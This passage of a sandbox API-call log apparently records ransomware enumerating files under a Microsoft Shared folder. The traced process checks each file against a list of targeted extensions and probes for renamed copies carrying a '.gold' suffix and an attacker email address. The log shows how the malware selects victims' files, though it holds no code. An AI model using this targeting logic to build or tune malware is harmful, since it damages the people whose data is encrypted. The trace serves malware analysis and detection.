(lpString1=".bz2", lpString2=".PNG") returned -1 [0035.439] lstrlenW (lpString=".7z") returned 3 [0035.439] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0035.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0035.439] lstrlenW (lpString=".dbf") returned 4 [0035.439] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0035.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0035.439] lstrlenW (lpString=".1cd") returned 4 [0035.439] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0035.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0035.439] lstrlenW (lpString=".jpg") returned 4 [0035.439] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0035.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0035.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0035.439] lstrlenW (lpString=".doc") returned 4 [0035.439] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0035.439] lstrlenW (lpString=".docx") returned 5 [0035.439] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0035.439] lstrlenW (lpString=".pdf") returned 4 [0035.439] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0035.439] lstrlenW (lpString=".xls") returned 4 [0035.439] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0035.440] lstrlenW (lpString=".xlsx") returned 5 [0035.440] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0035.440] lstrlenW (lpString=".ppt") returned 4 [0035.440] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0035.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0035.440] lstrlenW (lpString=".zip") returned 4 [0035.440] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0035.440] lstrlenW (lpString=".rar") returned 4 [0035.440] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0035.440] lstrlenW (lpString=".bz2") returned 4 [0035.440] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0035.440] lstrlenW (lpString=".7z") returned 3 [0035.440] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0035.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0035.440] lstrlenW (lpString=".dbf") returned 4 [0035.440] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0035.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0035.440] lstrlenW (lpString=".1cd") returned 4 [0035.440] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0035.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0035.440] lstrlenW (lpString=".jpg") returned 4 [0035.440] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0035.440] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0035.440] lstrlenW (lpString="Alphabet.xml") returned 12 [0035.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.442] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=791686) returned 1 [0035.442] CloseHandle (hObject=0x178) returned 1 [0035.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0035.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0035.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0035.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0035.442] lstrlenW (lpString=".doc") returned 4 [0035.442] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.442] lstrlenW (lpString=".docx") returned 5 [0035.442] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.442] lstrlenW (lpString=".pdf") returned 4 [0035.442] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.442] lstrlenW (lpString=".xls") returned 4 [0035.442] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.442] lstrlenW (lpString=".xlsx") returned 5 [0035.442] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.442] lstrlenW (lpString=".ppt") returned 4 [0035.442] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0035.442] lstrlenW (lpString=".zip") returned 4 [0035.442] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.442] lstrlenW (lpString=".rar") returned 4 [0035.443] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.443] lstrlenW (lpString=".bz2") returned 4 [0035.443] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.443] lstrlenW (lpString=".7z") returned 3 [0035.443] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0035.443] lstrlenW (lpString=".dbf") returned 4 [0035.443] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0035.443] lstrlenW (lpString=".1cd") returned 4 [0035.443] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0035.443] lstrlenW (lpString=".jpg") returned 4 [0035.443] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0035.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0035.443] lstrlenW (lpString=".doc") returned 4 [0035.443] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.443] lstrlenW (lpString=".docx") returned 5 [0035.443] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.443] lstrlenW (lpString=".pdf") returned 4 [0035.443] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.443] lstrlenW (lpString=".xls") returned 4 [0035.443] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.443] lstrlenW (lpString=".xlsx") returned 5 [0035.443] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.443] lstrlenW (lpString=".ppt") returned 4 [0035.443] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0035.443] lstrlenW (lpString=".zip") returned 4 [0035.443] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.443] lstrlenW (lpString=".rar") returned 4 [0035.443] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.443] lstrlenW (lpString=".bz2") returned 4 [0035.443] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.443] lstrlenW (lpString=".7z") returned 3 [0035.443] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0035.443] lstrlenW (lpString=".dbf") returned 4 [0035.444] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0035.444] lstrlenW (lpString=".1cd") returned 4 [0035.444] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0035.444] lstrlenW (lpString=".jpg") returned 4 [0035.444] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.444] Sleep (dwMilliseconds=0x64) [0035.684] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0035.684] lstrlenW (lpString="Content.xml") returned 11 [0035.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.733] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=27045) returned 1 [0035.733] CloseHandle (hObject=0x188) returned 1 [0035.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0035.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0035.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0035.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0035.733] lstrlenW (lpString=".doc") returned 4 [0035.733] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.733] lstrlenW (lpString=".docx") returned 5 [0035.733] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.733] lstrlenW (lpString=".pdf") returned 4 [0035.733] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.733] lstrlenW (lpString=".xls") returned 4 [0035.733] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.733] lstrlenW (lpString=".xlsx") returned 5 [0035.733] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.733] lstrlenW (lpString=".ppt") returned 4 [0035.733] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0035.733] lstrlenW (lpString=".zip") returned 4 [0035.733] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.733] lstrlenW (lpString=".rar") returned 4 [0035.733] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.733] lstrlenW (lpString=".bz2") returned 4 [0035.733] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.733] lstrlenW (lpString=".7z") returned 3 [0035.733] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0035.733] lstrlenW (lpString=".dbf") returned 4 [0035.733] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0035.733] lstrlenW (lpString=".1cd") returned 4 [0035.733] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0035.734] lstrlenW (lpString=".jpg") returned 4 [0035.734] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0035.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0035.734] lstrlenW (lpString=".doc") returned 4 [0035.734] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.734] lstrlenW (lpString=".docx") returned 5 [0035.734] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.734] lstrlenW (lpString=".pdf") returned 4 [0035.734] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.734] lstrlenW (lpString=".xls") returned 4 [0035.734] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.734] lstrlenW (lpString=".xlsx") returned 5 [0035.734] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.734] lstrlenW (lpString=".ppt") returned 4 [0035.734] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0035.734] lstrlenW (lpString=".zip") returned 4 [0035.734] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.734] lstrlenW (lpString=".rar") returned 4 [0035.734] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.734] lstrlenW (lpString=".bz2") returned 4 [0035.734] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.734] lstrlenW (lpString=".7z") returned 3 [0035.734] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0035.734] lstrlenW (lpString=".dbf") returned 4 [0035.734] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0035.734] lstrlenW (lpString=".1cd") returned 4 [0035.734] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0035.734] lstrlenW (lpString=".jpg") returned 4 [0035.734] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.734] lstrcmpiW (lpString1=".avi", lpString2=".gold") returned -1 [0035.734] lstrlenW (lpString="boxed-correct.avi") returned 17 [0035.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.735] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=89600) returned 1 [0035.735] CloseHandle (hObject=0x188) returned 1 [0035.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0035.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0035.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0035.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0035.736] lstrlenW (lpString=".doc") returned 4 [0035.736] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0035.736] lstrlenW (lpString=".docx") returned 5 [0035.736] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0035.736] lstrlenW (lpString=".pdf") returned 4 [0035.736] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0035.736] lstrlenW (lpString=".xls") returned 4 [0035.736] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0035.736] lstrlenW (lpString=".xlsx") returned 5 [0035.736] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0035.736] lstrlenW (lpString=".ppt") returned 4 [0035.736] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0035.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0035.736] lstrlenW (lpString=".zip") returned 4 [0035.736] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0035.736] lstrlenW (lpString=".rar") returned 4 [0035.736] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0035.736] lstrlenW (lpString=".bz2") returned 4 [0035.736] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0035.736] lstrlenW (lpString=".7z") returned 3 [0035.736] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0035.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0035.736] lstrlenW (lpString=".dbf") returned 4 [0035.736] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0035.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0035.736] lstrlenW (lpString=".1cd") returned 4 [0035.736] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0035.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0035.736] lstrlenW (lpString=".jpg") returned 4 [0035.736] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0035.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0035.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0035.736] lstrlenW (lpString=".doc") returned 4 [0035.736] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0035.736] lstrlenW (lpString=".docx") returned 5 [0035.736] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0035.736] lstrlenW (lpString=".pdf") returned 4 [0035.736] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0035.736] lstrlenW (lpString=".xls") returned 4 [0035.736] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0035.736] lstrlenW (lpString=".xlsx") returned 5 [0035.736] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0035.736] lstrlenW (lpString=".ppt") returned 4 [0035.736] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0035.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0035.737] lstrlenW (lpString=".zip") returned 4 [0035.737] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0035.737] lstrlenW (lpString=".rar") returned 4 [0035.737] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0035.737] lstrlenW (lpString=".bz2") returned 4 [0035.737] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0035.737] lstrlenW (lpString=".7z") returned 3 [0035.737] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0035.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0035.737] lstrlenW (lpString=".dbf") returned 4 [0035.737] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0035.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0035.737] lstrlenW (lpString=".1cd") returned 4 [0035.737] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0035.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0035.737] lstrlenW (lpString=".jpg") returned 4 [0035.737] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0035.737] lstrcmpiW (lpString1=".avi", lpString2=".gold") returned -1 [0035.737] lstrlenW (lpString="boxed-delete.avi") returned 16 [0035.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.738] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=31744) returned 1 [0035.738] CloseHandle (hObject=0x188) returned 1 [0035.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0035.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0035.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0035.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0035.738] lstrlenW (lpString=".doc") returned 4 [0035.738] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0035.738] lstrlenW (lpString=".docx") returned 5 [0035.738] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0035.738] lstrlenW (lpString=".pdf") returned 4 [0035.738] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0035.738] lstrlenW (lpString=".xls") returned 4 [0035.738] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0035.738] lstrlenW (lpString=".xlsx") returned 5 [0035.738] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0035.738] lstrlenW (lpString=".ppt") returned 4 [0035.738] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0035.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0035.738] lstrlenW (lpString=".zip") returned 4 [0035.738] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0035.738] lstrlenW (lpString=".rar") returned 4 [0035.738] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0035.738] lstrlenW (lpString=".bz2") returned 4 [0035.738] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0035.738] lstrlenW (lpString=".7z") returned 3 [0035.738] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0035.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0035.738] lstrlenW (lpString=".dbf") returned 4 [0035.738] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0035.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0035.738] lstrlenW (lpString=".1cd") returned 4 [0035.738] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0035.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0035.738] lstrlenW (lpString=".jpg") returned 4 [0035.738] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0035.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0035.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0035.738] lstrlenW (lpString=".doc") returned 4 [0035.738] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0035.738] lstrlenW (lpString=".docx") returned 5 [0035.739] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0035.739] lstrlenW (lpString=".pdf") returned 4 [0035.739] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0035.739] lstrlenW (lpString=".xls") returned 4 [0035.739] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0035.739] lstrlenW (lpString=".xlsx") returned 5 [0035.739] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0035.739] lstrlenW (lpString=".ppt") returned 4 [0035.739] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0035.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0035.739] lstrlenW (lpString=".zip") returned 4 [0035.739] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0035.739] lstrlenW (lpString=".rar") returned 4 [0035.739] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0035.739] lstrlenW (lpString=".bz2") returned 4 [0035.739] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0035.739] lstrlenW (lpString=".7z") returned 3 [0035.739] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0035.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0035.739] lstrlenW (lpString=".dbf") returned 4 [0035.739] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0035.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0035.739] lstrlenW (lpString=".1cd") returned 4 [0035.739] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0035.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0035.739] lstrlenW (lpString=".jpg") returned 4 [0035.739] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0035.739] lstrcmpiW (lpString1=".avi", lpString2=".gold") returned -1 [0035.739] lstrlenW (lpString="boxed-join.avi") returned 14 [0035.739] CreateFileW (lpFileName="C:\\Program Files\\Common 